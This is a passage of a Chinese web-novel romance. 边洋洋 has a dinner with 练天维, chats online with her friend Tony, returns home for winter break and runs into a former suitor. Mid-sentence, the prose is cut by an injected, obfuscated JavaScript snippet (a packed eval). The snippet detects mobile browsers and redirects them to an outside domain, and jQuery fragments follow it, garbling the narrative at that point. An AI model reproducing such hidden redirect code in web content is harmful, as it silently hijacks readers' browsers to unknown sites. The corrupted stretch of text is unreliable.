说起来这还是两人第一次单独在外吃饭，边洋洋又期待又紧张。 她昨晚还特意去做了头发，修了刘海，发梢烫了时下流行的大卷，整个人看起来成熟了几分，宿舍里的人都说发型剪得好。 走在路上有点冷，边洋洋把羽绒服帽子戴上，想着见到人了再摘下来。 练天维一大早就去了民族大学，去了之后详细检查了系统问题，发现跟周晗描述的并不完全一致。问题根源没找对，难怪那家伙一直没解决。问题确实有点棘手，不过晚饭前可以搞定。 练天维忙得没时间吃午饭，估摸着六点左右能结束，就发信息告诉了边洋洋。边洋洋问他是不是在计算机学院，练天维回说在图书馆。 协助练天维的民族大学女生帮他从食堂买了个肉夹馍和一杯热豆浆，腼腆地说道：“辛苦你了，学长。” 练天维谢过她的好意，“这是我该做的，这些一共多少钱？” 女生连连摆手，“没多少钱。你要是觉得过意不去，一会儿问题解决了给我买杯奶茶就行。” 练天维边吃边浏览代码，“好吧。” 他不想欠陌生人哪怕一分钱的人情。 下午五点多的时候，图书馆系统终于恢复正常，练天维圆满完成了任务。 女生麻溜儿地穿上外套戴上手套帽子，“学长，咱们去买奶茶吧。” 练天维抬手看了下表，又看了下手机，没有边洋洋的信息，时间也还早，她应该还在路上。 “好。你带路吧。” 女生喜笑颜开，带着他离开了图书馆。 外校学生进不去图书馆，边洋洋提前到了，她不想打扰练天维工作，只能眼巴巴站在门口等人出来。 好不容易看到人从里面出来了，边洋洋还没来得及高兴就看见他身旁多了个妹子。两人并排走着，有说有笑。 25. 第 25 章 边洋洋心里有点不是滋味儿，大脑还没理出个所以然，身体就先行转头离开了。 她也不知道自己为什么要避开。以他们目前这种普通朋友的关系，有什么好避的呢？退一万步讲，最糟糕的情况无非是那女孩儿是他新交的女朋友，她还在单向暗恋阶段，躲得毫无意义毫无道理。 但她就是不想这么出现在两人面前，没道理就没道理吧。 边洋洋重新戴上羽绒服帽子，脚步匆匆往他们最初约定的正门而去。 她走得飞快，到正门的时候身体都暖和了。她站在正门一侧，握着手机等待六点的到来。 冬天天黑得早，路灯已经悉数亮起，来来往往的学生在她眼前经过，唯独没有她等的那个人。 偶尔看见手牵手的情侣，以前她浑不在意，现在的她却羡慕得眼睛发酸。想跟喜欢的人谈个恋爱好难啊，她想。 终于到了六点整，她正准备解锁手机发信息，有人轻拍了她的肩膀，紧接着熟悉悦耳的声音传来，“洋洋，等多久了？” 边洋洋抬起头，目光不着痕迹地在练天维四周扫了一圈，没有那个女孩子的身影，她悄悄地松了一口气。 练天维今天穿的也是羽绒服，依旧很帅气，他往这里一站，引得路过的女孩子频频回头。 大概是心里不太高兴的缘故，这次见到他边洋洋的心跳竟然很平稳。 “没有等，我刚到的。”她撒谎道。 练天维没有拆穿她，他远远地就看到了站在这里的边洋洋，那时他正好在排队买奶茶，奶茶店生意好，他焦急地排了10分钟才轮到他，点完单付完钱没等做出来就跟女生匆匆告别了。 “是我考虑不周，应该让你直接去店里等我的。” “没关系的。”边洋洋挤出一个笑，“今天的工作还顺利吗？” “嗯，问题解决了。” “那就好。” 练天维这次选的是一家西餐厅，并不是很正宗那种，而是本土改良的，口碑很不错的一家老店。 进店落座之后，边洋洋脱下羽绒服，练天维欣赏地看着她，“发型不错。” “谢谢。”边洋洋心情好了些。 两人各自点好了餐，等餐的间隙，Tony发来了消息。 绝世好0：你追到了吗？ 前段时间边洋洋跟Tony打听练天维，Tony敏锐地察觉了她的心思，边洋洋索性就跟他坦白了。 Tony嫌她太磨磨叽叽，“就你这长相，是个直男都不会拒绝你的主动表白吧，直接问他做不做你男朋友就得了。” 边洋洋显然不会这么干，统共还没见几面就告白也太草率了。再者，如果可以，她还是希望自己是被表白的那一方。 不得不说，Tony还真是个关心她感情生活的好姐妹，一天三遍的追问。这不，今天的第三遍来了。 边洋洋其实在别的事情上都还蛮果断的，唯独面对练天维，一直犹犹豫豫。想知道答案，又怕不是自己想要的答案。 练天维发现边洋洋今晚的话有点少，还时不时走神。这是从未有过的现象。 以往边洋洋跟他在一起的时候，总是很专注，全部注意力都在他身上。虽然不愿意承认，他是真的有点不习惯。 牛排吃到一半的时候，练天维放下刀叉，望向正在喝柠檬水的边洋洋，她的脖颈又细又长，在顶灯的映衬下，有种朦胧的白。 “你最近是遇到什么难事了吗？”他问道。 边洋洋放下玻璃水杯，惊叹于练天维的细心，心说你就是我的难事，可我不敢说。 “没有啊。”边洋洋笑道。 “没事就好，有事可以找我。” “嗯，谢谢练哥，我不会客气的。” 说完，两人接着吃了起来，谁都没再开口，耳畔只有悠扬的歌声。 等两人都吃完的时候，边洋洋鼓起勇气问出了那个一直想问的问题。 “练哥，你觉得我怎么样啊？” 眼神忐忑，底气不足。光是问出来，就消耗了边洋洋全部的气力，她垂眸看向自己的膝盖，双手撑在大腿两侧的沙发上，手指有一下没一下地抠着并不光滑的皮革，不安地等待一个宣判。 如果练天维不喜欢她，她一定不会再打扰，还会默默地祝福他。 练天维愣了一下，以为自己听错了，完全没想到边洋洋会有这么一问。在他看来，边洋洋在情感表达方面是含蓄内敛的，先前都是拐着好几个弯试探他的心意，或许是他还不够了解她。 边洋洋问这话的心思，练天维岂会不知。 只略微思考了一会儿，练天维选择实话实说，“我觉得你挺好的，聪明，独立，有主见，性格也很好。”还很漂亮。 边洋洋瞬间抬起头，暗淡了一晚上的目光终于亮了，嘴角抑制不住地上扬。练天维说的都是她的优点，边洋洋觉得自己希望大大的，今天就问到这里吧。 练天维看着她这样子也笑了，心情也跟着好了起来。 回到宿舍后，边洋洋把这个喜讯分享给了Tony。 绝世好0：我说什么来着，早就让你直接问了，你要是早问，现在说不定都能约了【嘻嘻】 洋洋得意：狗狗无语.jpg 绝世好0：这不就是追人的最终目的吗，你不会还想一生一世一双人吧【呵呵】 洋洋得意：……我就这么想的，不以结婚为目的的谈恋爱就是耍流氓！！！ 绝世好0：果然还是太年轻了，算了，不忍打击你，看看你哥哥我就知道了。男人都是拔x无情的动物，玩玩儿就好，别太当真。再说了，你不是要出国了吗。 洋洋得意：我练哥他不一样，他都还没有初恋。我，要当他的初恋！ 绝世好0：友情提醒：男人的嘴，骗人的鬼。多留个心眼儿吧，你这种小白兔最好骗了。 边洋洋沉浸在自己的喜悦里，不再理Tony。她觉得Tony之所以对爱情和男人如此悲观，是因为他看男人的眼光不好。 她自己就不一样了，练天维各方面都没得说，俩人又是校友，她这些天缠着吕欢帮忙打听了不少练天维的事儿，算是知根知底了。 她接下来要做的就一件事儿：把人追到手。 腊八这次约饭之后，边洋洋明显变得更积极了。只可惜寒假临近，她要回家了。 大学的最后一个寒假，边洋洋爸爸给她买了一张机票，让她早点回去。 刚到家的第一天，边洋洋享受了来自家人的热烈的爱，短暂地消除了她思念练天维的空虚。 她习惯了睡前给练天维发晚安表情包。洗漱完躺在自家床上打开聊天框，才惊觉她没联系练天维的这段时间里，练天维一条消息都没发给她。 她盯着对话框，越想越不是滋味儿，赌气似的摁灭了手机，把手机扔到了枕头边上，然后钻进了被窝里。 快到凌晨的时候，依旧没有收到消息。咸鱼摊了许久的边洋洋这会儿又冷静下来了，拿过手机乖乖地给练天维发了晚安。 毕竟，追人的人没资格装高冷呢。 刚发出去，她就收到了练天维的同款表情包回复。 边洋洋瞬间乐了，自我安慰，“练哥肯定傲娇地守着手机等我的问安呢，肯定是这样没错吧，哈哈～” 远在阳城的练天维，给边洋洋发完晚安以后才把书收起来，关灯睡觉了。习惯真是个可怕的东西，黑暗中的他如是想道。 没有了见练天维的动力，边洋洋一觉睡到自然醒，把跑步这事儿抛到了九霄云外。 醒来第一件事儿就是看手机。 咦？没看错吧，练哥竟然主动给我发消息了！这还是练天维第一次主动给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317152|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边洋洋发消息，意义重大。 边洋洋喜笑颜开地点开练天维发给她的图片，是一张跑步路线图，显示他跑了十公里。 练哥：你今天跑步了吗？ 仗着两人相隔上千公里，边洋洋狗胆包天地回了句：你不在身边，没动力【调皮】 这回复，可以说是相当暧昧了。 回家前，Tony跟边洋洋说，“喜欢就勇敢去追呗，追上了谈个快乐的恋爱破个处，追不上也没什么大不了，毕业了谁也见不着谁。” 她现在算是明白了，喜欢一个人这种事儿真是没什么道理可言，分析得头头是道比不过一个“我愿意”的念头。她想尽力而为，不给青春留遗憾。 暧昧就暧昧吧，撩人不就得让人看出来么，不然跟躲在角落里暗恋有啥区别。 这么一想，边洋洋就放飞自我了。 意料之中地，练天维没有回她。而边洋洋则发现，踏出那一步，好像也没那么难嘛。 换好衣服走到客厅，家里静悄悄的。边洋洋爸妈都上班去了，给她留了早餐在锅里，是南瓜粥和肉包。 刚吃完，边洋洋妈妈林珊就在名为“三口之家”的群里发了条消息，让边洋洋自己解决午饭。 边洋洋回复说没问题。 她决定中午去吃酸萝卜老鸭汤米线，好久没吃，可馋死她了。米线店附近正好有一家书店，边洋洋闲来无事，决定去书店转转。 现在电子书盛行，书店不复往日荣光，店里人并不多。 边洋洋走到中心展台，想看看最近有什么新书。扫了一圈书的封面，没什么感兴趣的。 正准备离开，忽听有人叫她的名字。 “边洋洋？” 边洋洋扭头见到来人有些惊讶，是大二暑假跟她表白过的一个高中学长，叫崔铭。 崔铭比她大一届，当年高考全市第三名，报考的是与A大齐名的B大，本科毕业后保研本校继续读研。 边洋洋一直觉得跟他不算熟，交集也就是几次高中校友聚会而已，不知怎么的崔铭就看上她了。大二暑假实习结束后，崔铭约她吃饭，说是几个老乡一起，边洋洋信以为真便去了，结果去了之后才发现就他们俩人。尴尬地吃完一顿饭，崔铭就磕磕绊绊跟她表白了。 “我，喜欢，你，很久了。”崔铭根本不敢直视她，满脸通红自顾自话，“我高中的时候就暗恋你了，你可以做我女朋友吗？” 边洋洋当时都被吓傻了，想也没想就拒绝了，她当时脑海中蹦出的第一个想法就是，我对你不感冒你看不出来吗？ 崔铭问她为什么，边洋洋当时给的理由是毕业去向不定，暂时不想谈恋爱。 现在她自己正在经历追人的艰辛，总算有点理解当时崔铭的心境了，被人拒绝挺难受的。再次见到他，边洋洋有些尴尬地打了个招呼，“学长好啊。” 这次他应该不会再次表白了吧？！ 崔铭扶了一下自己的眼镜，面带几分羞涩和无奈，“听说你要出国，看来我们是真的没缘分了。不管怎样，祝你前程似锦。” 边洋洋心里松了一口气，也为自己的自作多情感到好笑，哪有人会再次跟一个拒绝过他的人表白呢。 “谢谢学长，你也一定会找到那个合适你的人的。” 崔铭含笑点头，心里却是苦涩得很，你就是那个合适的人，可你不喜欢我。 崔铭想约边洋洋一起吃饭，被她拒绝了。既然对人无心，就不应该给人希望。 不过，崔铭眼里的失落还是刺痛了边洋洋。在爱情里，谁先动心谁就卑微，崔铭是，她也是。 两人面对面站着，无话可说，边洋洋觉出几分尴尬，“我还有点事儿，就先走了，再见。” “好，再见。”可能再也不会见了，崔铭心想。 边洋洋麻溜儿地离开了书店。